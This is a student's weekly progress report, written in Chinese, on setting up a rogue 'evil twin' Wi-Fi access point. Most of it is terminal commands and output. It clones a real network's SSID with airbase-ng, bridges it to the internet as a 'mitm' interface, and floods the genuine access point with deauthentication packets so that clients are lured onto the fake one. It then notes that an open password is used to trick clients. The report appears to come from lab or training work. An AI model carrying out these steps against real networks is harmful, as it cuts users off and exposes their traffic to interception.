每周总结

孔德宇 数据科学与计算机学院

一、 任务总述

a) 伪造可以与网络建立连接的安排信号。

二、 具体实现

首先用 airebase-ng 命令伪造 ap 信号，伪造 ap 信号后要与当前网络进行桥接并配置 DHCP 才能使伪造的 ap 信号连接至我们当前的使用网络 ,从而使伪造的 ap 信号可以上网。

使用 brctl 工具进行桥接，将 ap 信号连接到当前网络。

① 选择 ap 信号进行伪装

```
BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

D4:EE:07:48:37:EE  -16       45        0    0   3  54e  WPA2 CCMP   PSK  coco
```

这里选择对 SSID 为 coco 的 ap 信号进行伪装，这里可以获取到这个 ap 信号的基本参数，mac 地址，工作频道等信息。

```
cave@myUbuntu:~$ sudo iwconfig mon0 channel 3
```

设置监听的频道为 channel3,即要伪装的 ap 信号所在的频道。

```
cave@myUbuntu:~$ sudo airbase-ng -e coco mon0
16:22:54  Created tap interface at0
16:22:54  Trying to set MTU on at0 to 1500
16:22:54  Trying to set MTU on mon0 to 1800
16:22:54  Access Point with BSSID 54:27:1E:B1:FC:C6 started.
```

airebase-ng 命令开启无线 ap。

② 对 ap 进行网络桥接

```
cave@myUbuntu:~$ sudo brctl addif mitm at0
cave@myUbuntu:~$ sudo ifconfig enp3s0 0.0.0.0 up
cave@myUbuntu:~$ sudo ifconfig at0 0.0.0.0 up
cave@myUbuntu:~$ ifconfig mitm up
```

使用 brctl 命令将 ap 网络与当前的使用网络进行桥接，使得伪装 ap 可以连接网络。

③ 设置 DHCP

```
sudo dhclient mitm&
[2] 2771
[1]   退出 1                  dhclient mitm
```

配置 DHCP，一个有着基本功能的伪装 ap 信号已经完成。接下来想要让用户连上伪装好的 ap 信号，就要对原有的 ap 信号进行洪水攻击，对 ap 信号发送取消认证的数据包，然客户端与 ap 信号断开连接，从而连上伪装的 ap 信号。

④ 取消认证洪水攻击诱骗客户端连入伪装 ap 信号

```
cave@myUbuntu:~$ sudo aireplay-ng --deauth 0 -a D4:EE:07:48:37:EE mon0
18:48:08  Waiting for beacon frame (BSSID: D4:EE:07:48:37:EE) on channel 3
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
18:48:08  Sending DeAuth to broadcast -- BSSID: [D4:EE:07:48:37:EE]
18:48:09  Sending DeAuth to broadcast -- BSSID: [D4:EE:07:48:37:EE]
18:48:09  Sending DeAuth to broadcast -- BSSID: [D4:EE:07:48:37:EE]
18:48:10  Sending DeAuth to broadcast -- BSSID: [D4:EE:07:48:37:EE]
18:48:10  Sending DeAuth to broadcast -- BSSID: [D4:EE:07:48:37:EE]
18:48:11  Sending DeAuth to broadcast -- BSSID: [D4:EE:07:48:37:EE]
18:48:11  Sending DeAuth to broadcast -- BSSID: [D4:EE:07:48:37:EE]
18:48:12  Sending DeAuth to broadcast -- BSSID: [D4:EE:07:48:37:EE]
18:48:12  Sending DeAuth to broadcast -- BSSID: [D4:EE:07:48:37:EE]
```

这里不断对 ap 信号发送数据包，来使连接中断。

```
cave@myUbuntu:~$ sudo airbase-ng -e coco mon0
16:22:54  Created tap interface at0
16:22:54  Trying to set MTU on at0 to 1500
16:22:54  Trying to set MTU on mon0 to 1800
16:22:54  Access Point with BSSID 54:27:1E:B1:FC:C6 started.
16:23:12  Client F4:8E:92:E3:09:E3 associated (unencrypted) to ESSID: "coco"
```

再次查看伪装 ap 的连接情况可以看到，客户端已经成功的被诱骗到了伪装 ap 上。

⑤ 遇到的问题

开始时发现 airebase-ng 命令所建立的伪装 ap 存活时间很短，开始时以为是手机的保护功能自动过滤了信息不全，或者是检测到有危险的 ap 信号。在晓鹏师姐的指点下，用 wireshark 抓包发现 beacon 帧一段时间后就没有了，说明应该是工具或者是配置哪一个环节出了问题。

对于伪造有密码的 ap 信号，可以通过工具设置加密方式，但是在拿不到真

正 ap 信号密码的情况下，只能设置一个空密码，诱骗客户端进行连接。